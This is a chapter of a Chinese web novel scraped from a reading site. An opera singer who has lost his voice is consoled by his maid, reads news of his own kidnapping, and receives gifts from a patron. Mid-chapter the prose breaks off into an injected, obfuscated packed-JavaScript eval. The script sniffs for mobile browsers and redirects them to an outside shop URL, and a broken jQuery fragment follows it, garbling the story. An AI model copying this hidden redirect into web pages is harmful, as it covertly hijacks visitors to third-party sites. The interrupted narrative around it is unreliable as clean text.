文趣网 > 都市小说 > 玉堂春晚-民国军阀X戏子-先甜后虐 > 58. 等待进入网审
    送走了柳师父,柳清晏痛痛快快哭了一场。

    穗儿也不敢劝,窝在茶房里煮热水,随时预备着热毛巾给他擦脸。

    她知道,柳老板不是那种被捧废了的人,就算和少帅感情再怎么好,他的功夫都没落下过——一周少说唱一场大戏,时不时还去给旁人串场呢。

    生活上他是讲究,可没一项是穷讲究——

    除了日常唱戏需要,身上保养用的汤水膏脂,旁的他并不怎么挑拣,衣裳破了都自己补,是个极好养活的人物。

    更何况他在台上风流妩媚,让人以为他是个多左右逢源的人物。

    穗儿却知道,他这个人平日里稚拙得可爱,有些奇奇怪怪的坚持,日常也从不难为人,班子里的小幺儿弄点什么幺蛾子,他睁一只眼闭一只眼也就过了。

    这样好的人,不该落得个潦倒的下场。

    穗儿支着耳朵听柳清晏那边的动静,听哭声渐渐小了,连忙倒了一盆热水,兑得温热,把新的洋巾子投进去,端着盆走过去。

    柳清晏仰着头躺在床上,手臂抬起,遮住了脸,呼吸还很急促。

    “哭差不多了,您快擦把脸。”

    说着,穗儿便把巾子提起来,拧干了,热乎乎敷在柳清晏脸上。

    “您可小心着点吧,不然明日眼睛也是肿的。”

    柳清晏隔着巾子捂住脸,声音闷闷的:

    “穗儿,你觉得我还能唱么?”

    穗儿想了想,小声道:

    “前儿我抽空去听南曲班子唱戏了,若是那种唱法,照我说,您是能改过来的,还一定比他们唱得好呢。”

    柳清晏没说话,过了好一会儿才闷声道:

    “你真觉得能行?”

    穗儿点头:“我觉得能。您总得试试才知道。”

    他轻轻笑了一声。

    “那我改日可要好好听一听,南曲班子是怎么唱的,才知道我该怎么改。”

    穗儿脸上也露出笑来,清脆地应了一声:“哎!”

    柳清晏长长舒了一口气,招手道:

    “来,把弦子拿来,我再对一对工尺板眼。有些事做总是更好,嗯?”

    穗儿连忙将京胡和谱子捧过来。

    柳清晏抬手拉了一段散板,琴弓顿在弦上,余音袅袅散在空气里。

    他沉默了片刻,轻声问道:

    “这几日少帅那头忙什么呢?整日的不见回来。”

    穗儿将嘴一撇,眼睛一瞪,手一拍:

    “您养病呢,可不知道,这城里是出了大事!少帅这两日忙得脚不点地的,怕是没空日日陪着您呢!”

    柳清晏嗔她一眼:“我哪儿想着让他日日陪着了?那么大一个少帅还能没公务要忙么?出了什么事你到底得告诉我,不然平白让我当个睁眼瞎不成?”

    穗儿笑眯眯地将这几日的报纸搬了过来,一条条指给他看:

    “您被绑这事儿都见报了!报纸上都写了,绑您的那位,是青帮的二当家,联合了鬼子,想把大烟卖给咱们军里,让少帅知道了,准备收拾那位二当家——他这不就狗急跳墙,当了鬼子的走狗,想着绑了您当投名状么?”

    柳清晏“呵”了一声:

    “我倒也是个人物了?”

    穗儿笑道:

    “您早就是人物了!也是您不爱看报纸,不知道您演的那几场《洛神》,激起了多大的反响!那段时间,每张报纸上都有您的照片,还有戏评人说您就是洛神再世!”

    柳清晏脸上露出一抹笑,随即又很快消退下去。

    “只是如今,我怕是也唱不了《洛神》了。我嗓子废了的消息传出去,恐怕他们还要写什么‘一代名伶就此陨落,究竟是谁人之过’之类的文章,冷嘲热讽一番呢。”

    穗儿眨巴着眼睛,连忙道:

    “可您总归是能好起来的啊?就算换个唱法,那也还是能唱,您也还是洛神!”

    他轻声说:

    “可原本的声音,没有了就是没有了。”

    那种婉转清澈、富丽堂皇,犹如冰击玉碎的唱腔,终究是回不来了。

    只能看还剩下什么,能不能,在废墟上,开出一枝花来。

    他翻开南曲的本子,轻轻拉了一段,跟着曲调轻轻哼着,眉头终于舒展开来。

    见他这样,穗儿也松了口气,收拾了东西

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17622798|205017||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,悄悄撤出去。

    出了门,见不远处阿笙端着个托盘,候在门口,见她出来,眼睛都亮了,踮起脚来朝她挥手。

    穗儿连忙走过去:

    “怎么了?沈先生那边可有什么事?”

    阿笙眉眼带笑:

    “沈先生让我来送东西。这是上好的川贝枇杷膏,柳老板每天要用的;这是蔷薇硝,本来是治春藓的,沈先生说柳老板泡了污水,也容易起藓,就先送来备着了;这是玫瑰露,用鲜花蒸出来的,喝了能活血散瘀、理气解郁,沈先生得了几瓶,给柳老板分了一半儿过来。”

    穗儿抚着胸口念了声佛:

    “我的天老爷,沈先生想得也太周到了!说实话,这些精细玩意儿,我们平时哪儿见得着啊?柳老板用的还是戏班子里统一采买的茉莉粉,哪用过这么金贵的。”

    阿笙认真点了点头:

    “是啊,以往我跟班里的师叔们去那些高门大户唱堂会,倒是见那些老爷给家里的太太奶奶送。似乎买这些个东西,是要有门路的。身份不够的人家,捧着钱也买不着呢。”

    穗儿小心翼翼地往托盘上看去,背着手,屏着呼吸,生怕给吹飞了似的。

    “……好香啊。”

    “是蔷薇硝的味道吧,确实香得很。”

    “据说这里头加的是银硝,所以才贵。”

    阿笙嘻嘻一笑:

    “穗儿姐,你懂得也多呢!”

    穗儿横了他一眼:“少臊我了,来,咱把东西给柳老板端进去。”

    见了送来的东西,柳清晏也惊了一下,随后笑道:

    “我知道了,这是东家来催本子了,还好我没落下。来,这几页给沈先生带回去,是磨好了的调子。她若想听,改日我去给她拉琴。”

    阿笙捧着戏本子下去了,柳清晏长出了一口气,搁下京胡,往后一靠,招手对穗儿道:

    “既然沈先生送来了,咱也别藏着舍不得用,先调些玫瑰露来一道吃,也尝尝这金贵东西有什么不一般。”

    穗儿清脆地应了一声,转头煮水的时候,却用手背擦了擦眼睛。

    柳老板终于有精神了,真好!